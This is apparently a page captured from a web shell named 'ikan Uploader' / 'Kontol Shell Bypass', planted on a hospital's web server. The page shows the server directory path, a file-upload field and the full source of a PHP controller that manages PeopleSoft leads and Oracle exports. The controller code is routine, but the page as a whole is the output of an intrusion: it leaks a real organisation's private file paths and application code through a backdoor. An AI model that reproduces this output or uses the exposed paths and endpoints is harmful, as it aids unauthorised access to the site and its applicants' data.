ikan Uploader :
Directory : /var/www/html/shardahospital.org/shardalms/lms/lms/api/application/controllers/
Upload File : |
| Current File : /var/www/html/shardahospital.org/shardalms/lms/lms/api/application/controllers/Ps.php |
<?php
class Ps extends MY_Controller {
function __construct() {
parent::__construct();
$this->checkAccess('ps_lead_view');
$this->load->model('ps_model', 'ps');
ini_set('memory_limit', '2048M');
set_time_limit(3000);
}
function addLeadToPS($id=0){
$inf=$this->ps->addLeadToPS($id);
$this->json_data($inf);
}
function lists(){
$qs=trim_array($this->input->get());
if($qs['from_db']=='Oracle'){
$data=$this->ps->lists_oracle();
}else{
$data=$this->ps->lists();
}
$this->json_data($data);
}
function exportLists(){
$qs=trim_array($this->input->get());
if($qs['from_db']=='Oracle'){
$data=$this->ps->lists_oracle(TRUE);
}else{
$data=$this->ps->lists(TRUE);
}
download_psleads_csv($data['result']);
}
function add_to_oracle_db(){
$inf=array('success'=>false, 'msg'=>'Error!');
$data=$this->ps->lists(TRUE, TRUE);
if($data['result']){
$inf=$this->ps->add_to_oracle_db($data['result']);
}
$this->json_data($inf);
}
function delete(){
$this->checkAccess('ps_lead_delete');
$inf=array('success'=>'F', 'msg'=>'Can not deleted!');
$id=$this->input->post('id');
$from_db=$this->input->post('from_db');
if($this->ps->delete($id, $from_db)){
$inf['success']='T';
$inf['msg']="PeopleSoft Lead deleted successfully";
}
$this->json_data($inf);
}
/** */
function allPaidToPs(){
$applicationIds = $this->db->select('id')->from('applications')
->where(['step_completed'=>'3']) //, 'application_no'=>'2021210002'
->get()->result_array();
foreach($applicationIds as $r){
$this->ps->addLeadToPS($r['id']);
}
echo count($applicationIds);
}
function allStep2ToPs(){
return;
//pr($from);
//pr($to);
$applicationIds=$this->db->select('id')->from('applications')
->where(['step_completed'=>'2'])
->where("application_no NOT IN(SELECT EMPLID FROM people_soft_tbl)", NULL, FALSE)
->limit(5000)
->get()->result_array();
foreach($applicationIds as $r){
$this->ps->addLeadToPS($r['id']);
}
//pr($this->db->last_query());
pr(count($applicationIds));
//pr($applicationIds);
}
}
//EOF
Kontol Shell Bypass